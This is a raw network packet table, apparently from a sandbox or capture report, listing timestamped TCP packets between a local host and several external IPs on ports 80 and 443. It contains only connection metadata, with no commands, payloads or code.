Aug 30, 2024 03:17:06.791287899 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.791301966 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.791313887 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.791313887 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.791322947 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.791347980 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.791369915 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.791380882 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.791390896 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.791403055 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.791408062 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.791412115 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.791428089 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.791435957 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.791451931 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.791454077 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:06.791461945 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.791466951 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:06.791471958 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.791482925 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.791493893 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.791498899 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:06.791510105 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.791520119 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.791529894 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.791534901 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:06.791541100 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.791551113 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.791552067 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:06.791562080 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.791570902 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.791573048 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:06.791580915 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.791598082 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.791604042 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:06.791608095 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.791620970 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.791620970 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.791646004 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.791668892 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.792123079 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.792134047 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.792144060 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.792155027 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.792165995 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:06.792165995 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.792177916 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:06.792188883 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:06.792191982 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:06.792198896 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:06.792212009 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:06.792212009 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:06.792213917 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:06.792224884 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:06.792229891 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:06.792237043 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:06.792244911 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:06.792248011 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:06.792267084 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:06.792289972 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:06.792382002 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:06.792392969 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:06.792402983 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:06.792416096 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:06.792421103 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:06.792427063 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:06.792443991 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:06.792459011 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:06.792566061 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:06.792577028 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:06.792587042 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:06.792598963 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:06.792608976 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:06.792609930 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:06.792620897 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:06.792630911 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:06.792632103 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:06.792640924 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:06.792645931 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:06.792651892 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:06.792664051 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:06.792675018 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:06.792675972 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:06.792680979 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:06.792686939 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:06.792706013 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:06.792721033 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:06.792799950 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:06.792813063 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:06.792823076 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:06.792851925 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:06.792862892 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:06.792891026 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:06.792902946 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:06.792912960 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:06.792931080 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:06.792938948 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:06.792951107 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:06.792953968 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:06.792959929 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:06.792972088 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:06.792977095 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:06.792984009 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:06.793001890 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:06.793015957 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:06.793087959 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.793126106 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.793128967 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.793138027 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.793162107 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.793171883 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.793210030 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.793230057 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.793241024 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.793251991 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.793262959 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.793268919 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.793292999 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.793303967 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.793319941 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.793332100 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.793343067 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.793353081 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:06.793361902 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.793370008 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.793370008 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:06.793381929 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:06.793401957 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:06.793426037 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:06.793440104 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.793451071 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.793473959 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.793481112 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.793484926 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.793499947 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.793508053 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.793518066 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.793524027 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.793535948 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.793545961 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.793546915 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.793559074 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.793569088 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.793592930 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.793596983 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.793608904 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.793617010 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.793639898 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.793653011 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.793694019 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:06.793704987 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:06.793729067 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:06.793730021 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:06.793740034 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:06.793745041 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:06.793751001 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:06.793761015 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:06.793786049 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:06.793823957 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.793834925 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.793844938 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.793858051 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.793864965 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.793872118 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.793900967 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.793912888 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.793924093 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.793936014 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.793955088 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.793958902 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.793965101 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.793972969 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.793996096 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.794007063 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.794013023 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.794018030 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.794034004 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.794047117 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.794090986 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.794102907 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.794114113 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.794131041 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.794137955 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.794151068 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.794154882 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.794167042 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.794172049 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.794179916 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.794190884 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.794200897 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.794209957 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.794239044 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.794239044 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.794251919 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.794262886 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.794270992 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.794284105 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.794310093 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.794333935 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.794352055 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.794363022 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.794373989 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.794392109 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.794418097 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.794449091 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.794461012 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.794471025 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.794482946 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.794493914 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.794495106 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.794507980 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.794509888 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.794534922 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.794553041 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.794568062 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.794590950 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.794604063 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.794615030 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.794617891 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.794625998 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.794637918 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.794661045 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.794677973 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.794689894 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.794701099 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.794712067 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.794725895 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.794728041 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.794737101 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.794766903 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.794775963 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.794787884 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.794827938 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.794872999 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.794883966 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.794894934 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.794905901 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.794920921 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.794926882 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.794938087 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.794938087 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.794951916 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.794971943 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.794984102 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.804915905 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.804927111 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.804939032 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.804960966 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.804965973 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:06.804971933 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.804979086 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:06.804987907 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.805005074 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.805008888 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:06.805015087 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.805017948 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:06.805042982 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:06.805056095 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:06.813322067 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:06.813350916 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:06.813359976 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:06.813381910 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:06.813390970 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:06.813394070 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:06.813405037 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:06.813405991 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:06.813432932 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:06.813442945 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:06.813462973 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:06.813502073 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:06.813510895 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:06.813544989 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:06.813585043 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:06.813596010 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:06.813606024 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:06.813627005 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:06.813637018 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:06.813667059 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:06.813678026 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:06.813688040 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:06.813704014 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:06.813711882 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:06.813734055 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:06.813952923 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.813991070 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:06.813990116 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.814007998 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.814027071 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:06.814043045 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:06.814070940 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.814081907 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.814090967 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.814111948 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:06.814121962 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.814125061 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:06.814132929 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.814162970 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:06.814174891 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.814188957 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.814198017 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.814213991 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:06.814235926 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:06.814268112 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.814279079 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.814289093 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.814305067 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.814312935 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:06.814316034 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.814323902 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:06.814351082 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:06.821214914 CEST	443	49741	76.76.21.241	192.168.2.4
Aug 30, 2024 03:17:06.821297884 CEST	443	49741	76.76.21.241	192.168.2.4
Aug 30, 2024 03:17:06.821353912 CEST	49741	443	192.168.2.4	76.76.21.241
Aug 30, 2024 03:17:06.821706057 CEST	49741	443	192.168.2.4	76.76.21.241
Aug 30, 2024 03:17:06.821713924 CEST	443	49741	76.76.21.241	192.168.2.4
Aug 30, 2024 03:17:06.849302053 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:06.849359035 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:06.849370003 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:06.849405050 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:06.849407911 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:06.849416971 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:06.849423885 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:06.849435091 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:06.849446058 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:06.849450111 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:06.849457979 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:06.849474907 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:06.849490881 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:06.849621058 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:06.849662066 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:06.849666119 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:06.849678040 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:06.849705935 CEST	49737	80	192.168.2.4	176.113.115.33
